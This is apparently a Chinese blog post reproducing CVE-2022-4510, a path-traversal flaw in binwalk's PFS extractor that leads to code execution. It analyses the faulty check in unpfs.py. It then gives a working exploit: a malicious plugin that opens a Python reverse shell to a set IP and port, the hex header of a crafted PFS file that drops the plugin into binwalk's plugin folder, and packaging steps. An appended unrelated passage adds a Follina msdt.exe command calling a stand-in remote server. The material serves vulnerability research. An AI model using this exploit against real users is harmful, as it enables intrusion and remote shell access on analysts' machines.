CVE-2022-4510:Binwalk 远程代码执行漏洞

一、CVE-2022-4510介绍

1.1、漏洞介绍

binwalk是一款常用的二进制文件提取工具,在固件分析和CTF Misc中使用广泛。在ReFirm Labs binwalk(包括版本2.1.2b至2.3.3),存在一个路径穿越漏洞,允许攻击者构造恶意文件,当使用binwalk的-e选项对该恶意文件进行自动提取时,将触发漏洞,将攻击者构造的恶意文件中内嵌的文件写入提取目录之外的路径。这还可能导致远程代码执行。
  • kali linux自带binwalk工具
  • CVE 编号:CVE-2022-4510
  • 影响范围:版本2.1.2b至2.3.3
  • 漏洞分类:RCE
  • CVSS评分:7.8 HIGH

1.2、漏洞描述

在从2.1.2b版到2.3.3版的ReFirm Labs binwalk中发现了一个路径遍历漏洞。
通过手工创建一个恶意的PFS文件系统文件,当binwalk在提取模式(-e选项)下运行时,攻击者可以让binwalk的PFS提取程序在任意位置提取文件。远程代码执行可以通过构建PFS文件系统来实现,该文件系统在解压缩时会将恶意的binwalk模块提取到文件夹 $HOME/.config/binwalk/plugins 。此漏洞与程序文件src/binwalk/plugins/unpfs.py相关。此问题影响从2.1.2b到2.3.3的binwalk。
影响版本:Binwalk v2.1.2b-2.3.3
已修复:2.3.4版本

1.3、漏洞分析

这个漏洞 源于binwalk解析PFS文件时的防路径穿越代码存在问题。它使用类似下面的代码来检测是否存在路径穿越:
kali机器: /usr/lib/python3/dist-packages/binwalk/plugins/unpfs.py
问题出现在os.path.join函数上,因为代码“outfile_path = os.path.join(out_dir, entry.fname)”没有完全进行路径解析,所以下行的代码“if not outfile_path.startswith(out_dir):”的条件就永远不会为真。
   
假如攻击者把PFS文件内嵌的某个文件的名字设置成"../test.txt",那么outfile_path为"提取路径/../test.txt",第2行的if语句永远成立,故这个检测是无效的。
此外,binwalk的插件存放路径下的python文件将被当成binwalk的插件,在binwalk每次执行的时候自动调用。所以,假如利用路径穿越漏洞将一个特制python脚本写入binwalk的插件存放路径下,即可实现RCE。

二、漏洞复现

环境:推荐kali(自带binwalk) 

2.1、默认POC

可以看到是pfs文件:
借助 Hxd工具使用二进制方式打开:

2.1.1、poc文件放在$HOME目录下执行

将poc.zip放到$HOME目录下,再执行binwalk
恶意插件很简单:
 
import binwalk.core.plugin

class MaliciousExtractor(binwalk.core.plugin.Plugin):
    """
    Malicious binwalk plugin
    """
    def init(self):
        print("hello from malicious plugin")

 2.1.2、poc文件放在/root/桌面/目录下执行

当将poc.zip放在/root/桌面/上再执行binwalk没有导致远程代码执行:
先对 /usr/lib/python3/dist-packages/binwalk/plugins/unpfs.py 增加几行日志以便于分析
binwalk执行:
分析原因是未在$HOME/.config/binwalk/plugin/下生成 malwalk.py文件,而是在 /root/桌面/目录下生成了.config/文件夹
为何会在 /root/桌面/目录下生成了.config/文件夹???
看输出的outfile_Path,它实际指向的就是/root/桌面/.config/binwalk/plugins/malwalk.py
增加一个../,就可以让在/root/桌面/poc.zip解包时产生/root/.config/binwalk/plugins/malwalk.py,如下:
此时在binwalk解包: 报错:E rror loading plugin 'malwalk.py': source code string cannot contain null bytes
的确在/root/.config/binwalk/plugins/下生成了malwalk.py:
根据 Valueerror: source code string cannot contain null bytes ( Solved )所述, 是因为 源代码字符串包含了三个空字节
猜想:是不是因为我前面添加了../导致的,那就在malicious.pfs文件中删除三个空字符,如下:
再执行binwalk :成功了
  

2.1.3、poc文件放在/root/桌面/目录下,binwalk解包使用-C指令解包到指定位置

当用-C指定解压存储路径时,要对malicious.pfs文件进行修改(是否增加或删减../,同时要增加删减NUL)
-C root/桌面/tt/,若要在/root目录下生成.config/,得左移两次,即添加两个../、删除对应个数的NUL

2.2、自定义POC

用户可以使用binwalk的 API 定义自己的插件,只需要把插件放在 $HOME/ .config/binwalk/plugins/ 目录下,之后运行binwalk时就会调用插件
构造RCE的POC,在解压后的文件中保持文件头和路径,后面加上下面的脚本代码,并且把长度改一下,然后保存成一个压缩包malicious.zip
1、exp.py: 提示:在 s .connect中写入要连接的ip地址和监听端口
import binwalk.core.plugin
import socket,subprocess,os,pty

class MaliciousExtractor(binwalk.core.plugin.Plugin):
   def init(self):
       s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
       s.connect(("192.168.132.131", 9999))
       os.dup2(s.fileno(),0)
       os.dup2(s.fileno(),1)
       os.dup2(s.fileno(),2)
       pty.spawn("sh")
2、用HXD工具将exp.py文件打开,粘贴以下十六进制数据到头部
5046 532f 302e 3900 0000 0000 0000 0100
2e2e 2f2e 2e2f 2e2e 2f2e 636f 6e66 6967
2f62 696e 7761 6c6b 2f70 6c75 6769 6e73
2f6d 616c 7761 6c6b 2e70 7900 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
3412 0000 a000 0000 c100 0000
3、然后另存为malicious.pfs文件:
4、将malicious.pfs打包成malicious.zip文件。
5、当 从用户的主目录中( cd $HOME )用binwalk提取文件时,会在.config/binwalk/plugins加入一个插件,这个恶意插件随后会被 binwalk 加载和执行,从而导致 RCE
binwalk -Me malicious.zip 然后就可以 RCE:

2.3、项目中的应用

构造一个poc测试产品项目:
查看136环境日志:发现爆出漏洞
构造234环境上的poc:

三、参考

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
CVE-2022-30190是一个针对Microsoft的漏洞,被称为msdt远程代码执行漏洞。该漏洞允许攻击者通过利用命令行工具"msdt.exe"的特定参数进行远程代码执行。以下是关于该漏洞的复现过程。 首先,我们需要使用攻击者控制的远程服务器,以便在受影响的目标系统上执行恶意代码。我们创建以下PHP脚本,将其上传到我们的远程服务器上: ``` <?php system('calc.exe'); ?> ``` 这段代码将在目标系统上执行计算器应用程序,然后我们将通过"msdt.exe"命令行工具的特定参数利用该漏洞。 在受影响的目标系统上,我们将打开命令提示符,并执行以下命令: ``` msdt.exe "http://your-remote-server.com/evil-script.php" /id "netwoCpl" /showUI ``` 上述命令将启动"msdt.exe"并使用指定的URL作为参数,同时还指定了"networkCpl"作为"msdt.exe"的标识符。最后,使用"/showUI"参数显示用户界面。 当目标系统执行此命令时,"msdt.exe"会检索远程服务器上的脚本文件,并尝试执行该脚本。由于脚本文件具有恶意代码,它将在目标系统上执行计算器应用程序。 这就是CVE-2022-30190 msdt远程代码执行漏洞的一个简单复现过程。然而,值得注意的是,这只是为了说明该漏洞的原理,实际的攻击可能需要更复杂的技术和步骤。为了保护系统安全,我们建议及时更新受影响的软件,以修补此漏洞。还应该维护良好的网络安全措施,以减少被利用的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值